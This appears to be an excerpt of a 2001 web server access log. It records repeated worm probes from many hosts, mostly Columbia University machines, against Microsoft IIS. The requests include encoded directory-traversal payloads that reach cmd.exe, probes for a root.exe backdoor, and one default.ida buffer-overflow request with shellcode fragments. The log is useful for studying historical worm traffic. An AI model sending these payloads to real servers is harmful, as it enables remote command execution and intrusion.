  10478. 20010919 10:36:24: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10479. 20010919 10:36:24:  [128.119.210.93] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10480. 20010919 10:36:42: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10481. 20010919 10:36:42:  [128.119.210.93] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10482. 20010919 10:37:01:  [128.119.210.93] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10483. 20010919 10:37:20:  [128.119.210.93] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10484. 20010919 10:37:38:  [128.119.210.93] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10485. 20010919 10:37:57:  [128.119.210.93] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10486. 20010919 10:38:15:  [128.119.210.93] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10487. 20010919 10:38:34:  [128.119.210.93] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10488. 20010919 10:38:52:  [128.119.210.93] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10489. 20010919 10:39:11:  [128.119.210.93] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10490. 20010919 10:39:29:  [128.119.210.93] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10491. 20010919 10:39:48: www.whiting-turner.com [207.233.194.250] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10492. 20010919 10:43:35: whiting-turner.com [207.233.194.250] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10493. 20010919 10:43:36: whiting-turner.com [207.233.194.250] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10494. 20010919 10:43:36: whiting-turner.com [207.233.194.250] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10495. 20010919 10:43:37: whiting-turner.com [207.233.194.250] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10496. 20010919 10:43:40: whiting-turner.com [207.233.194.250] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10497. 20010919 10:43:41: whiting-turner.com [207.233.194.250] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10498. 20010919 10:43:41: whiting-turner.com [207.233.194.250] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10499. 20010919 10:43:41: whiting-turner.com [207.233.194.250] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10500. 20010919 10:43:41: whiting-turner.com [207.233.194.250] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10501. 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10502. 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10503. 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10504. 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10505. 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10506. 20010919 10:43:43: whiting-turner.com [207.233.194.250] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10507. 20010919 10:43:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10508. 20010919 10:50:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10509. 20010919 10:50:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10510. 20010919 10:50:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10511. 20010919 10:50:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10512. 20010919 10:50:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10513. 20010919 10:50:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10514. 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10515. 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10516. 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10517. 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10518. 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10519. 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10520. 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10521. 20010919 10:50:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10522. 20010919 10:50:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10523. 20010919 10:50:40: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10524. 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10525. 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10526. 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10527. 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10528. 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10529. 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10530. 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10531. 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10532. 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10533. 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10534. 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10535. 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10536. 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10537. 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10538. 20010919 10:51:47: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10539. 20010919 10:51:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10540. 20010919 10:52:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10541. 20010919 10:52:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10542. 20010919 10:52:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10543. 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10544. 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10545. 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10546. 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10547. 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10548. 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10549. 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10550. 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10551. 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10552. 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10553. 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10554. 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10555. 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10556. 20010919 10:53:17: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10557. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10558. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10559. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10560. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10561. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10562. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10563. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10564. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10565. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10566. 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10567. 20010919 10:53:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10568. 20010919 10:53:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10569. 20010919 10:53:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10570. 20010919 10:53:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10571. 20010919 10:53:19: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10572. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10573. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10574. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10575. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10576. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10577. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10578. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10579. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10580. 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10581. 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10582. 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10583. 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10584. 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10585. 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10586. 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10587. 20010919 10:54:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10588. 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10589. 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10590. 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10591. 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10592. 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10593. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10594. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10595. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10596. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10597. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10598. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10599. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10600. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10601. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10602. 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10603. 20010919 10:57:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10604. 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10605. 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10606. 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10607. 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10608. 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10609. 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10610. 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10611. 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10612. 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10613. 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10614. 20010919 10:58:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10615. 20010919 10:58:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10616. 20010919 10:58:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10617. 20010919 10:58:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10618. 20010919 10:58:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10619. 20010919 10:58:21:  [128.196.172.104] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10620. 20010919 11:06:59:  [128.196.172.104] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10621. 20010919 11:07:17:  [128.196.172.104] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10622. 20010919 11:07:36:  [128.196.172.104] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10623. 20010919 11:07:54:  [128.196.172.104] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10624. 20010919 11:08:13:  [128.196.172.104] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10625. 20010919 11:08:31:  [128.196.172.104] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10626. 20010919 11:08:50: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  10627. 20010919 11:08:50:  [128.196.172.104] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10628. 20010919 11:09:08:  [128.196.172.104] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10629. 20010919 11:09:27:  [128.196.172.104] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10630. 20010919 11:09:45: cos130dhcp188.us.dg.com [128.222.130.188] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10631. 20010919 11:09:52:  [128.196.172.104] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10632. 20010919 11:10:11: cos130dhcp188.us.dg.com [128.222.130.188] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10633. 20010919 11:10:11:  [128.196.172.104] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10634. 20010919 11:10:29:  [128.196.172.104] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10635. 20010919 11:10:48:  [128.196.172.104] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10636. 20010919 11:11:06:  [128.196.172.104] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10637. 20010919 11:11:24:  [128.196.172.104] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10638. 20010919 11:11:43: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10639. 20010919 11:11:43: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10640. 20010919 11:11:43: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10641. 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10642. 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10643. 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10644. 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10645. 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10646. 20010919 11:11:45: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10647. 20010919 11:11:45: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10648. 20010919 11:11:45: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10649. 20010919 11:11:45: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10650. 20010919 11:11:46: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10651. 20010919 11:11:46: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10652. 20010919 11:11:46: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10653. 20010919 11:11:46: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10654. 20010919 11:11:46: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10655. 20010919 11:20:27: olooney.cviog.uga.edu [128.192.30.206] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10656. 20010919 11:20:27: olooney.cviog.uga.edu [128.192.30.206] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10657. 20010919 11:20:27: olooney.cviog.uga.edu [128.192.30.206] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10658. 20010919 11:20:28: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
